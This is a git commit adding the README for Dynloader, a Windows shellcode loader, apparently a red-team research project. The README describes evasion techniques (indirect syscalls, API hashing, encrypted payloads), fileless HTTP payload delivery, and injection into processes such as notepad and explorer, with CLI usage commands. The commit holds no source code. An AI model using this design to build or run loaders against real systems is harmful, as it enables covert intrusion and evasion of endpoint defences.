mirror of
https://github.com/AbishekPonmudi/Dynloader
synced 2026-07-15 03:39:09 +00:00
Initial Commit: Added README.md
This commit is contained in:
@@ -0,0 +1,284 @@
|
||||
# Dynloader
|
||||
|
||||
**Modular Windows shellcode loader — C++20**
|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
**Dynloader** is a research-oriented Windows loader for studying how shellcode is delivered, staged, and executed in both **local** and **remote** process contexts.
|
||||
|
||||
It can:
|
||||
|
||||
- Load shellcode from a local `.bin` file
|
||||
- Fetch shellcode **filelessly** over HTTP (optional AES-256-CBC at runtime)
|
||||
- Inject into a target by **PID** or **process name**
|
||||
- Spawn a missing process **headless** (suspended + hidden), inject, then resume
|
||||
|
||||
Core evasion and resolution primitives are provided by **[Dynveil](https://github.com/Abishekponmudi/dynveil)** (`lib/`) — a reusable library that implements PEB/PE parsing, API hashing, Tartarus Gate indirect syscalls, section mapping, AES crypto, and HTTP transport. Dynloader is the CLI + ingestion orchestration layer on top of Dynveil.
|
||||
|
||||
---
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This project is **for educational and research purposes only**.
|
||||
|
||||
It is designed to help understand:
|
||||
|
||||
- Windows PE internals
|
||||
- Manual loading techniques
|
||||
- Reverse engineering concepts
|
||||
|
||||
Do **not** use this software on systems you do not own or do not have explicit permission to test. The authors take no responsibility for misuse.
|
||||
|
||||
---
|
||||
|
||||
## Features
|
||||
|
||||
- **Manual PE mapping / parsing** — PEB + LDR walk and export (EAT) resolution without normal `GetProcAddress` name strings
|
||||
- **Indirect syscalls via Tartarus Gate** — SSN extraction with **Hell’s Gate / Halo’s Gate / HellHell** style recovery when stubs look hooked; invoke via ntdll `syscall; ret` gadget
|
||||
- **Section mapping** — `NtCreateSection` + `NtMapViewOfSection` / unmap as alternate staging path
|
||||
- **Dynamic API resolution** — resolve modules and exports at runtime through Dynveil
|
||||
- **API hashing** — djb2 hashes; no plaintext API names for resolved exports
|
||||
- **AES-256-CBC** — encrypt offline; decrypt at runtime (file or fileless key fetch)
|
||||
- **Local & remote ingestion** — self-process run or inject into another process
|
||||
- **Fileless HTTP server/client** — serve and pull payload + optional key material
|
||||
|
||||
---
|
||||
|
||||
## Evasion techniques
|
||||
|
||||
| Technique | Feature |
|
||||
|-----------|---------|
|
||||
| **Manual PE Mapping** | Manual module + export resolution without `GetProcAddress` strings |
|
||||
| **Indirect syscall via Tartarus Gate (Hell's, Halo's, HellHell)** | Indirect syscalls via ntdll `syscall; ret` gadget (bypasses usermode hooks on `Nt*` prologues). Halo’s Gate recovers SSNs when ntdll stubs are hooked |
|
||||
| **API hashing** | Resolves exports by djb2 hash — no plaintext API names in the binary |
|
||||
| **Section mapping** | `NtCreateSection` + `NtMapViewOfSection` as alternate staging backend |
|
||||
| **Minimal IAT** | NT path via syscalls; Win32 only where needed (`CreateThread` / `CreateRemoteThread`, hashed) |
|
||||
| **W^X staging** | `NtAllocateVirtualMemory` RW → write → `NtProtectVirtualMemory` RX (no RWX) |
|
||||
| **Payload encryption AES-256-CBC** | Encrypted payload + dynamic key fetch (fileless) |
|
||||
| **Fileless HTTP** | No payload file on disk at runtime — fetch from `/api/v1/payload` |
|
||||
| **Headless spawn** | Target process started suspended + hidden before remote inject |
|
||||
|
||||
---
|
||||
|
||||
## Background — Dynveil
|
||||
|
||||
**[Dynveil](https://github.com/Abishekponmudi/dynveil)** is the shared research library under `lib/`. Dynloader does **not** reimplement every technique inline; it calls Dynveil modules for the heavy lifting.
|
||||
|
||||
**Repo:** https://github.com/Abishekponmudi/dynveil
|
||||
|
||||
What Dynveil provides:
|
||||
|
||||
- **Manual PE parser** — walk PEB → LDR lists, locate modules, walk the export address table
|
||||
- **Dynamic API resolver** — hash-based export resolve (`kernel32`, `ntdll`, `bcrypt`, `ws2_32`, …)
|
||||
- **Tartarus Gate** — SSN resolve (Hell’s / Halo’s / HellHell-style paths), build per-API **stubs**, jump to a shared ntdll **`syscall; ret` gadget**
|
||||
- **Section map helpers** — create section, map view, protect, unmap, cleanup
|
||||
- **Crypto** — AES-256-CBC key material, encrypt/decrypt, pack/unpack key blobs
|
||||
- **HTTP transport** — minimal fileless client + in-memory server for lab delivery
|
||||
|
||||
Dynloader’s job on top of Dynveil:
|
||||
|
||||
- Parse CLI modes (local, remote, fileless, server, encrypt)
|
||||
- Acquire shellcode (disk or network)
|
||||
- Decide **local vs remote** ingestion
|
||||
- Stage memory (W^X / section) and execute
|
||||
- For remote: resolve PID/name, open process, optional headless spawn, inject
|
||||
|
||||
| Dynveil area | Path | Role |
|
||||
|--------------|------|------|
|
||||
| PE / PEB | `lib/pe/` | Manual PEB + LDR + EAT |
|
||||
| API resolve | `lib/resolve/` | Dynamic hash-based APIs |
|
||||
| Syscalls | `lib/syscall/` | Tartarus Gate indirect Nt\* |
|
||||
| Memory | `lib/memory/` | Section map / staging helpers |
|
||||
| Crypto | `lib/crypto/` | AES-256-CBC |
|
||||
| Net | `lib/net/` | Fileless HTTP |
|
||||
| Common | `lib/common/` | Hashes, logging, NT types |
|
||||
|
||||
---
|
||||
|
||||
## How it works
|
||||
|
||||
1. **Parse CLI** — mode: local / remote (`--process`) / fileless / server / encrypt / self-test.
|
||||
2. **Init Dynveil syscalls** — Tartarus Gate builds SSNs + indirect stubs (shared ntdll gadget).
|
||||
3. **Get shellcode**
|
||||
- **Disk:** read `.bin` (or ciphertext if decrypt path applies)
|
||||
- **Fileless:** `GET /api/v1/payload` and, if AES, `GET /api/v1/key` then decrypt at runtime
|
||||
4. **Choose ingestion**
|
||||
- **`--process` set → remote**
|
||||
- **else → local**
|
||||
5. **Local path**
|
||||
- Stage in current process with indirect Nt\* (prefer alloc RW → write → protect RX; section map fallback)
|
||||
- Execute with hash-resolved `CreateThread`, wait for exit
|
||||
6. **Remote path**
|
||||
- Target by **PID** or **process name** (works with many normal user-session binaries; no `SeDebugPrivilege` elevation assumed)
|
||||
- Discover by name via **`NtQuerySystemInformation`** (SystemProcessInformation) over Tartarus Gate
|
||||
- If name not running → **headless spawn** (`CREATE_SUSPENDED` + no window), inject, **ResumeThread**
|
||||
- Open process: prefer **`NtOpenProcess`**, fallback hashed **`OpenProcess`**
|
||||
- Stage: `NtAllocateVirtualMemory` → `NtWriteVirtualMemory` → `NtProtectVirtualMemory` (RX)
|
||||
- Run: hash-resolved **`CreateRemoteThread`**
|
||||
7. **Done** — local thread completes or remote thread is created; handles cleaned up.
|
||||
|
||||
Same staging/execution ideas apply whether bytes came from disk or from the fileless server.
|
||||
|
||||
---
|
||||
|
||||
## Building
|
||||
|
||||
> Build steps TBD (Visual Studio / MSVC x64 C++20).
|
||||
|
||||
Reference pipeline after a successful build:
|
||||
|
||||
1. Parse CLI (local / remote / fileless / server / encrypt)
|
||||
2. Init Tartarus Gate (SSNs + indirect stubs)
|
||||
3. Get shellcode
|
||||
- disk file, or
|
||||
- HTTP `GET /api/v1/payload` (+ `/api/v1/key` if AES)
|
||||
4. If `--process` → remote ingestion (PID / name / headless spawn)
|
||||
Else → local ingestion
|
||||
5. Stage memory (indirect Nt\*, W^X)
|
||||
6. Execute (`CreateThread` / `CreateRemoteThread`)
|
||||
|
||||
---
|
||||
|
||||
## Usage
|
||||
|
||||
```text
|
||||
LOCAL
|
||||
loader.exe <file.bin> [--verbose]
|
||||
loader.exe --process <name|PID> <file.bin> [--verbose]
|
||||
loader.exe --enc AES <file.bin> [--verbose]
|
||||
|
||||
FILELESS
|
||||
loader.exe --fileless --source <host[:port]> [--verbose]
|
||||
loader.exe --fileless --source <host> --enc AES [--verbose]
|
||||
loader.exe --fileless --source <host> --process <name|PID> [--enc AES] [--verbose]
|
||||
|
||||
SERVER
|
||||
loader.exe --server <file.bin> [--port 8080] [--verbose]
|
||||
loader.exe --server --enc AES <file.bin> [--port 8080] [--verbose]
|
||||
```
|
||||
|
||||
### HTTP endpoints (server)
|
||||
|
||||
| Path | Purpose |
|
||||
|------|---------|
|
||||
| `GET /api/v1/payload` | Shellcode (plain or ciphertext) |
|
||||
| `GET /api/v1/key` | AES key material (when encrypted) |
|
||||
| `GET /api/v1/health` | Health check |
|
||||
|
||||
---
|
||||
|
||||
## Demo
|
||||
|
||||
### 1) Self-test
|
||||
|
||||
```bat
|
||||
loader.exe --selftest --verbose
|
||||
```
|
||||
|
||||
Checks PEB resolve, Tartarus init path, and AES roundtrip.
|
||||
|
||||
### 2) Local shellcode
|
||||
|
||||
```bat
|
||||
loader.exe payload.bin --verbose
|
||||
```
|
||||
|
||||
### 3) Remote by process name
|
||||
|
||||
```bat
|
||||
loader.exe --process notepad payload.bin --verbose
|
||||
```
|
||||
|
||||
If `notepad` is not running, Dynloader spawns it headless, injects, resumes.
|
||||
|
||||
- Target by **PID** or **process name** (e.g. `notepad` / `1234`) — supports many legitimate binaries in the same session without elevation (`!SeDebugPrivilege` not required for same-integrity targets)
|
||||
- Process discovery via **`NtQuerySystemInformation`** (SystemProcessInformation) over Tartarus Gate
|
||||
- If the named process is **not running** → spawn **headless** (`CREATE_SUSPENDED` + no window), inject, then resume
|
||||
- Remote stage: `NtAllocateVirtualMemory` → `NtWriteVirtualMemory` → `NtProtectVirtualMemory` (RX)
|
||||
- Remote run: hash-resolved `CreateRemoteThread`
|
||||
- Open target prefers `NtOpenProcess`, falls back to hashed `OpenProcess`
|
||||
|
||||
### 4) Remote by PID
|
||||
|
||||
```bat
|
||||
loader.exe --process 4568 payload.bin --verbose
|
||||
```
|
||||
|
||||
### 5) Encrypt + serve + fileless client
|
||||
|
||||
**Terminal A — server** (host shellcode remotely):
|
||||
|
||||
```bat
|
||||
loader.exe --server --enc AES payload.bin --port 8080 --verbose
|
||||
```
|
||||
|
||||
**Terminal B — client** (target machine, local run):
|
||||
|
||||
```bat
|
||||
loader.exe --fileless --source 127.0.0.1:8080 --enc AES --verbose
|
||||
```
|
||||
|
||||
**Terminal B — client** (target machine, remote inject):
|
||||
|
||||
```bat
|
||||
loader.exe --fileless --source 127.0.0.1:8080 --enc AES --process explorer --verbose
|
||||
```
|
||||
|
||||
### 6) Offline encrypt only
|
||||
|
||||
```bat
|
||||
loader.exe --enc AES payload.bin --verbose
|
||||
```
|
||||
|
||||
Writes `.enc` + `.key` next to the input for lab packaging.
|
||||
|
||||
---
|
||||
|
||||
## Planned features
|
||||
|
||||
- **Manual PE loader** — full PE / DLL support alongside shellcode (`.bin`)
|
||||
- **Manual DLL loader / remote DLL ingestion** — map and run DLLs in local or remote processes without relying only on raw shellcode blobs
|
||||
- **Threadless execution** — move off classic thread APIs toward [thread pool](https://oioio-space.github.io/maldev/techniques/injection/thread-pool.html) based execution
|
||||
- **Full section mapping** — prefer section-based staging over native thread-centric paths where possible
|
||||
- **Section storming** — multi-section staging patterns for research labs
|
||||
- **HTTPS encrypted channel** — harden fileless delivery from plain HTTP to HTTPS
|
||||
|
||||
---
|
||||
|
||||
## Project layout
|
||||
|
||||
```text
|
||||
.
|
||||
├── loader/ # Dynloader — CLI, modes, local/remote ingestion
|
||||
│ ├── main.cpp
|
||||
│ ├── cli.cpp / cli.hpp
|
||||
│ ├── loader_core.cpp / loader_core.hpp
|
||||
│ └── ingestion.cpp / ingestion.hpp
|
||||
├── lib/ # Dynveil — https://github.com/Abishekponmudi/dynveil
|
||||
│ ├── common/ # hashes, logging, NT types
|
||||
│ ├── pe/ # PEB / PE / EAT parser
|
||||
│ ├── resolve/ # dynamic API resolution
|
||||
│ ├── syscall/ # Tartarus Gate indirect syscalls
|
||||
│ ├── memory/ # section map + staging helpers
|
||||
│ ├── crypto/ # AES-256-CBC
|
||||
│ └── net/ # fileless HTTP client/server
|
||||
├── tools/ # helpers (e.g. hash dump)
|
||||
├── server.sh # optional server helper script
|
||||
└── README.md
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Notes
|
||||
|
||||
- Indirect syscalls cover Dynveil’s **Nt\*** table (memory, open, process enum, sections) — not every Win32 call.
|
||||
- Local execute uses hashed `CreateThread`; remote uses hashed `CreateRemoteThread`.
|
||||
- Fileless transport is plain HTTP today (lab-oriented); HTTPS is planned.
|
||||
|
||||
---
|
||||
|
||||
## License / ethics
|
||||
|
||||
Research & education only. Use on lab VMs you control. Stay legal.
|
||||
Reference in New Issue
Block a user